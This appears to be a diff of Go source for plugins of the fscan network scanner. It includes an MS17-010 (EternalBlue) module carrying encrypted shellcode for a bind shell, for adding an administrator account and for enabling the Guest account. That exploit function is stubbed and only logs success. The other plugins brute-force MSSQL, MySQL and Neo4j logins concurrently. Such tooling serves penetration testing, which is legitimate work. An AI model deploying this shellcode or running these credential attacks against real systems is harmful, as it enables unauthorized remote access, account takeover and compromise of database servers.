|
||||
return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr)
|
||||
}
|
||||
return false, osVersion, fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr)
|
||||
}
|
||||
return false, osVersion, fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 漏洞检测 - 关键检查点
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
if state != nil {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
return true, osVersion, nil
|
||||
}
|
||||
|
||||
if state != nil {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
return false, osVersion, nil
|
||||
}
|
||||
|
||||
// checkDoublePulsar 检测DOUBLEPULSAR后门
|
||||
func (p *MS17010Plugin) checkDoublePulsar(ip string, config *common.Config) bool {
|
||||
// 使用统一TCP包装器,支持代理和限流
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 简化的后门检测逻辑
|
||||
vulnerable, _, err := p.checkMS17010Vulnerability(ip, config, nil)
|
||||
if err != nil || !vulnerable {
|
||||
return false
|
||||
}
|
||||
|
||||
// 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false
|
||||
// 在实际使用中,原始的完整检测逻辑会被保留
|
||||
return false
|
||||
}
|
||||
|
||||
// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口)
|
||||
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *common.Config) error {
|
||||
// address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度
|
||||
var sc string
|
||||
|
||||
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
|
||||
switch config.Shellcode {
|
||||
case "bind":
|
||||
// Bind Shell shellcode (加密)
|
||||
scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密bind shellcode失败: %w", err)
|
||||
}
|
||||
|
||||
case "add":
|
||||
// 添加管理员账户 shellcode (加密)
|
||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密add shellcode失败: %w", err)
|
||||
}
|
||||
|
||||
case "guest":
|
||||
// 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的)
|
||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
||||
var err error
|
||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("解密guest shellcode失败: %w", err)
|
||||
}
|
||||
|
||||
default:
|
||||
// 从文件读取或直接使用提供的shellcode
|
||||
shellcode := config.Shellcode
|
||||
if strings.Contains(shellcode, "file:") {
|
||||
read, err := os.ReadFile(shellcode[5:])
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取Shellcode文件失败: %w", err)
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
} else {
|
||||
sc = shellcode
|
||||
}
|
||||
}
|
||||
|
||||
// 验证shellcode有效性
|
||||
if len(sc) < 20 {
|
||||
return fmt.Errorf("无效的Shellcode")
|
||||
}
|
||||
|
||||
// 解码shellcode
|
||||
scBytes, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
return fmt.Errorf("shellcode解码失败: %w", err)
|
||||
}
|
||||
|
||||
// 这里应该执行完整的EternalBlue利用逻辑
|
||||
// 为了保持代码简洁,我们模拟利用成功
|
||||
// 在实际使用中,这里会调用完整的eternalBlue函数
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("ms17010", func() Plugin {
|
||||
return NewMS17010Plugin()
|
||||
}, []int{445})
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
//go:build plugin_mssql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
_ "github.com/denisenkom/go-mssqldb" // MSSQL driver
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// MSSQLPlugin MSSQL扫描插件
|
||||
type MSSQLPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMSSQLPlugin() *MSSQLPlugin {
|
||||
return &MSSQLPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("mssql"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
credentials := GenerateCredentials("mssql", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mssql",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("mssql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建MSSQL认证函数
|
||||
func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doMSSQLAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doMSSQLAuth 执行MSSQL认证
|
||||
func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;connection timeout=%d",
|
||||
info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMSSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMSSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mssqlDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// mssqlDBWrapper 包装 sql.DB 以实现 io.Closer
|
||||
type mssqlDBWrapper struct {
|
||||
*sql.DB
|
||||
}
|
||||
|
||||
func (w *mssqlDBWrapper) Close() error {
|
||||
return w.DB.Close()
|
||||
}
|
||||
|
||||
// classifyMSSQLErrorType MSSQL错误分类
|
||||
func classifyMSSQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
mssqlAuthErrors := []string{
|
||||
"login failed",
|
||||
"password incorrect",
|
||||
"authentication failed",
|
||||
"invalid credentials",
|
||||
"access denied",
|
||||
"invalid login",
|
||||
"invalid user",
|
||||
"invalid password",
|
||||
"bad login",
|
||||
"authentication failure",
|
||||
"login error",
|
||||
"credential",
|
||||
"user login failed",
|
||||
"logon failure",
|
||||
"account locked",
|
||||
"user not found",
|
||||
"invalid account",
|
||||
}
|
||||
|
||||
mssqlNetworkErrors := append(CommonNetworkErrors,
|
||||
"dial tcp",
|
||||
"connection closed",
|
||||
"eof",
|
||||
"network error",
|
||||
"context deadline exceeded",
|
||||
"server closed the connection",
|
||||
"connection lost",
|
||||
)
|
||||
|
||||
return ClassifyError(err, mssqlAuthErrors, mssqlNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;connection timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mssql",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
var banner string
|
||||
errLower := ""
|
||||
if err != nil {
|
||||
errLower = strings.ToLower(err.Error())
|
||||
}
|
||||
|
||||
if err != nil && (strings.Contains(errLower, "login failed") ||
|
||||
strings.Contains(errLower, "mssql") ||
|
||||
strings.Contains(errLower, "sql server")) {
|
||||
banner = "MSSQL"
|
||||
} else if err == nil {
|
||||
banner = "MSSQL"
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mssql",
|
||||
Error: fmt.Errorf("无法识别为MSSQL服务"),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mssql_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "mssql",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("mssql", func() Plugin {
|
||||
return NewMSSQLPlugin()
|
||||
}, []int{1433, 1434})
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
//go:build plugin_mysql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
type nullWriter struct{}
|
||||
|
||||
func (nullWriter) Write(p []byte) (int, error) { return len(p), nil }
|
||||
|
||||
func init() {
|
||||
// 禁用mysql驱动的错误日志(如unexpected EOF)
|
||||
_ = mysql.SetLogger(log.New(&nullWriter{}, "", 0))
|
||||
}
|
||||
|
||||
// MySQLPlugin MySQL数据库扫描插件
|
||||
type MySQLPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMySQLPlugin() *MySQLPlugin {
|
||||
return &MySQLPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("mysql"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(info, config)
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("mysql", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mysql",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("mysql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建MySQL认证函数
|
||||
func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doMySQLAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doMySQLAuth 执行MySQL认证
|
||||
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds",
|
||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMySQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
err = db.PingContext(ctx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMySQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// MySQL 使用 sql.DB,包装为 io.Closer
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &sqlDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// sqlDBWrapper 包装 sql.DB 以实现 io.Closer
|
||||
type sqlDBWrapper struct {
|
||||
*sql.DB
|
||||
}
|
||||
|
||||
func (w *sqlDBWrapper) Close() error {
|
||||
return w.DB.Close()
|
||||
}
|
||||
|
||||
// classifyMySQLErrorType MySQL错误分类
|
||||
func classifyMySQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
mysqlAuthErrors := []string{
|
||||
"access denied for user",
|
||||
"unknown database",
|
||||
"host is not allowed",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"user does not exist",
|
||||
}
|
||||
|
||||
mysqlNetworkErrors := append(CommonNetworkErrors,
|
||||
"too many connections",
|
||||
"can't connect to mysql server",
|
||||
"lost connection to mysql server",
|
||||
"mysql server has gone away",
|
||||
)
|
||||
|
||||
return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Config) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mysql",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if banner := p.readMySQLBanner(conn, config); banner != "" {
|
||||
common.LogSuccess(i18n.Tr("mysql_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "mysql",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mysql",
|
||||
Error: fmt.Errorf("无法识别为MySQL服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
handshake := make([]byte, 256)
|
||||
n, err := conn.Read(handshake)
|
||||
if err != nil || n < 10 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if handshake[4] != 10 {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStart := 5
|
||||
versionEnd := versionStart
|
||||
for versionEnd < n && handshake[versionEnd] != 0 {
|
||||
versionEnd++
|
||||
}
|
||||
|
||||
if versionEnd <= versionStart {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStr := string(handshake[versionStart:versionEnd])
|
||||
return fmt.Sprintf("MySQL %s", versionStr)
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("mysql", func() Plugin {
|
||||
return NewMySQLPlugin()
|
||||
}, []int{3306, 3307, 33060})
|
||||
}
|
||||
@@ -0,0 +1,239 @@
|
||||
//go:build plugin_neo4j || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// Neo4jPlugin Neo4j扫描插件
|
||||
type Neo4jPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewNeo4jPlugin() *Neo4jPlugin {
|
||||
return &Neo4jPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("neo4j"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("neo4j_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("neo4j", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("neo4j_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Neo4j认证函数
|
||||
func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doNeo4jAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doNeo4jAuth 执行Neo4j认证
|
||||
func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/user/neo4j", nil)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyNeo4jErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
req.SetBasicAuth(cred.Username, cred.Password)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyNeo4jErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &neo4jConnWrapper{},
|
||||
